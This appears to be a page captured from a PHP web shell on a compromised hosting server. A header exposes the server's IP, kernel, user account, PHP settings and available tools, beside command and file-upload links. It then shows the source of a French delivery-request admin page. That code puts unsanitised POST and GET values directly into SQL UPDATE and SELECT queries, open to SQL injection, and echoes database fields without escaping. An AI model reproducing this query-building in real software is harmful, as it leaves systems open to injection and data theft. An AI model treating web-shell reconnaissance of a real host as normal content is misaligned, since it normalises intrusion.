|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TEST/../TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $a = 2 ;
// $b = 6 ;
// $somme = $a + $b ;
// echo "la somme est ==> $somme <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
session_start();
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
if($_POST['Modifier']== "Modifier"){
// echo "<pre>" ;
// print_r($_POST);
// echo "</pre>" ;
$client_id= $_POST['client_id'] ;
$demliv_date= $_POST['demliv_date'] ;
$demliv_info= $_POST['demliv_info'] ;
$demliv_id= $_POST['demliv_id'] ;
dbi_query("UPDATE `demliv` SET `client_id` = '".$client_id."', `demliv_info` = '".$demliv_info."', demliv_date = '".$demliv_date."' WHERE `demliv`.`demliv_id` = ".$demliv_id) ;
}
?><html>
<head>
<link rel="stylesheet" href="../../plugins/summernote/summernote-bs4.css">
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<a href="nvdemliv.php"><button type="button" class="btn btn-primary"><i class="fas fa-plus"></i> NOUVELLE DEMANDE</button>
</li>
<li>
  <a href="maps_livraison.php"> <button type="button" class="btn btn-primary"></i> CARTE DES CLIENTS A LIVRER </button></a>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" >
</div>
</div>
</div>
</div>
</div><!-- /.row -->
</div>
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<script language="Javascript">
function GetIdBureau()
{
var id_statu="";
id_statu = document.client_statu_form.client_statu.value ;
if( id_statu > 0 || id_statu=="INDEFINI" )
window.location = "demliv.php?id_statu="+id_statu;
else
window.location = "demliv.php";
}
</script>
<script language="Javascript">
function GetIdBureauB()
{
var id_etab="";
id_etab = document.client_statu_form.client_etab.value ;
if( id_etab > 0 || id_etab=="INDEFINI" )
window.location = "demliv.php?id_etab="+id_etab;
else
window.location = "demliv.php";
}
</script>
<?php
$_SESSION["id_etab"]= 111 ;
$_SESSION["id_statu"]=2 ;
// echo "==>".$_SESSION["id_etab"]."<br/>" ;
// echo "==>".$_SESSION["id_statu"]."<br/>" ;
if(!empty( $_GET["id_statu"]))
{
$_SESSION["id_statu"] = $_GET["id_statu"];
}
if(!empty( $_GET["id_etab"]))
{
$_SESSION["id_etab"] = $_GET["id_etab"];
}
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND c.etablissement_id = ".$_SESSION["id_etab"] ;
}
// <!-- 6 ya3ni tous les clients / 4 ya3ni Clients inactifs / 2 Client actifs -->
if($_SESSION["id_statu"]==6)
{
$where_statut = "" ;
}
if($_SESSION["id_statu"]==4)
{
$where_statut = " AND c.client_statut = '0' " ;
}
if($_SESSION["id_statu"]==2)
{
$where_statut = " AND c.client_statut = '1' " ;
}
?>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<div class="row">
<div class="col-sm-11">
<div class="col-sm-11"><h3 class="card-title"> <i class="nav-icon far fa-address-book"></i> LISTE DES DEMANDES </h3> </div>
</div>
</div>
</div>
<div class="card-body">
<form id="client_statu_form" name="client_statu_form" method="POST" action="">
<div class="form-row">
<!-- 6 ya3ni tous les clients / 4 ya3ni Clients inactifs / 2 Client actifs -->
<div class="form-group col-md-4">
<div class="input-group">
<?php $qa = dbi_query("SELECT * FROM `etablissement`") ; ?>
<select class="form-control select" style="width: 100%;" id="client_etab" name="client_etab" onchange="GetIdBureauB()"; >
<?php while($etab=dbi_fetch_row($qa)) {?>
<option value="<?php echo $etab['etablissement_id'] ;?> " <?php if($etab['etablissement_id']==$_SESSION["id_etab"]){echo "selected" ;} ?> ><?php echo $etab['etablissement_nom'] ;?></option>
<?php } ?>
<option value="111" <?php if($_SESSION["id_etab"]== 111 ){echo "selected" ;} ?> >Tous les Etablissements</option>
</select>
</div>
</div>
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>Nom</th> <!-- /.Table Client - Champs client_nom -->
<th>Date</th> <!-- /.Table Client - Champs client_adr1 -->
<th>Info</th> <!-- /.Table Client - Champs client_cp -->
<th>Action</th>
<!-- /.Table Client - Champs client_cp -->
</tr>
</thead>
<tbody>
<?php $query = dbi_query("SELECT * FROM demliv ,client c, etablissement etab,categorie cat where c.client_id = demliv.client_id and c.etablissement_id = etab.etablissement_id and demliv_statut = '0' and c.categorie_id = cat.categorie_id $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC ");
// echo "SELECT * FROM client c, etablissement etab,categorie cat where c.etablissement_id = etab.etablissement_id and c.categorie_id = cat.categorie_id $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC " ;
while($cl = dbi_fetch_row($query)){
$liv = "" ;
if($cl['demliv_statut'] == 0)
{
$liv=" Non livré" ;
}
else{$liv="Livré" ; }
?>
<tr>
<td> <a href="profilclient.php?client_id= <?php echo $cl['client_id'] ; ?>" target="" ><?php echo $cl['client_nom']; ?> </a></td>
<td> <?php echo $cl['demliv_date'] ; ?></td>
<td> <?php echo $cl['demliv_info'] ; ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$cl['demliv_id'].'">Editer </a>';?>
</td>
</tr>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<?php include('footerr.php'); ?>
<script src="../../plugins/summernote/summernote-bs4.min.js"></script>
<script>
$(function () {
// Summernote
$('.textarea').summernote()
})
</script>
<script type="text/javascript">
$( document ).ready(function() {
// alert('OK');
// $("#salarie_mutuelle").click(function () {
// val=$(this).val();
// if(val==1){
// $("#end").prop('disabled', false);
// }else{
// $("#end").prop('disabled', true);
// }
// });
$('#myModal1').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'suivi_sal_action.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch1').html(data);//Show fetched data from database
}
});
});
$('#myModal2').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
var client_id= $(this).attr('client_id');
// alert(rowid);
$.ajax({
type : 'post',
url : 'suivi_sal_action_upt.php', //Here you will fetch records
data : 'rowid='+ rowid+'&client_id='+client_id, //Pass $id
success : function(data){
$('#fetch2').html(data);//Show fetched data from database
}
});
});
// if ($("#yourCheckboxID").is(":checked")) {
// checkbox is checked
// } else {
// checkbox is not checked
// }
});
function enableTxt(elem) {
var id = $(elem).val();
var c = 0;
if ( $(elem).prop( "checked" ) )
c = 1;
$.ajax({
type : 'post',
url : 'demliv_statut_action.php', //Here you will fetch records
data : 'id='+id+'&c='+c , //Pass $id
success : function(data){
// $('#fetch2').html(data);//Show fetched data from database
}
});
// $.ajax({
// type : 'post',
// url : 'suivi_sal_action_etat.php', //Here you will fetch records
// data : 'id='+id+'&c='+c ,//Pass $id
// success : function(data){
// $('#fetch2').html(data);//Show fetched data from database
// }
// });
// alert(id);
}
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'jaxModifierLiv.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>
